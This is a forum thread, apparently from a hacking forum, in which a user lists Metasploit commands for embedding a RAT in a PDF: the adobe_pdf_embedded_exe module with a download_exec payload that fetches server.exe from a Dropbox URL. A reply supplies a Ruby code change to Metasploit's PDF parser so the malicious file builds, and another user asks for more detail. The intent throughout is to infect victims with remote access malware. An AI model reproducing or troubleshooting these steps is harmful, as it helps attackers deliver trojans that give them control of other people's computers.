Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Metasploit- incompatible pdf structure

hi HF guys,

ich hav a problem with metasploit.

i would like to build in my rat in a pdf file.

my steps:

1st.- use exploit/windows/fileformat/adobe_pdf_embedded_exe

2nd. set my payload -set payload windows/download_exec

3rd. set INFILENAME C:/Users/******/Desktop/lol.pdf

4th. set url http://dl.dropbox/u/285928958/server.exe(example)

5th. exploit...

🤮🤮 i get this error: "Sorry, I'm picky. Incompatible PDF structure: key not found: "Root". Please
try a different PDF template."

I tried some pdf from year 2002 but it wont work !!!!

What can i do ?

THAnks all members 4 help me.

(sorry my english suxx)
To fix this bug edit file C:\metasploit\apps\pro\msf3\lib\msf\core\exploit\pdf_parse.rb and change "read_pdf()" function to:
------
def read_pdf()
#stream = IO.read("#{datastore['INFILENAME']}")
stream = open("#{datastore['INFILENAME']}", "rb") {|io| io.read }

return stream
end

------

use notepad++ to edit
please explain in detail the editing part cant get the editing part properly


Possibly Related Threads...
Thread / Author Replies Views Last Post
by VipVinceMay 15, 2026 06:38 PM 103 6,575 May 15, 2026 06:38 PM
Last Post: theprox0517
by Tyrell WellickNov 3, 2019 07:31 PM 6 589 Nov 3, 2019 07:31 PM
Last Post: Slicky
by CyberStrikeSep 28, 2018 03:23 PM 8 432 Sep 28, 2018 03:23 PM
Last Post: SheSmokes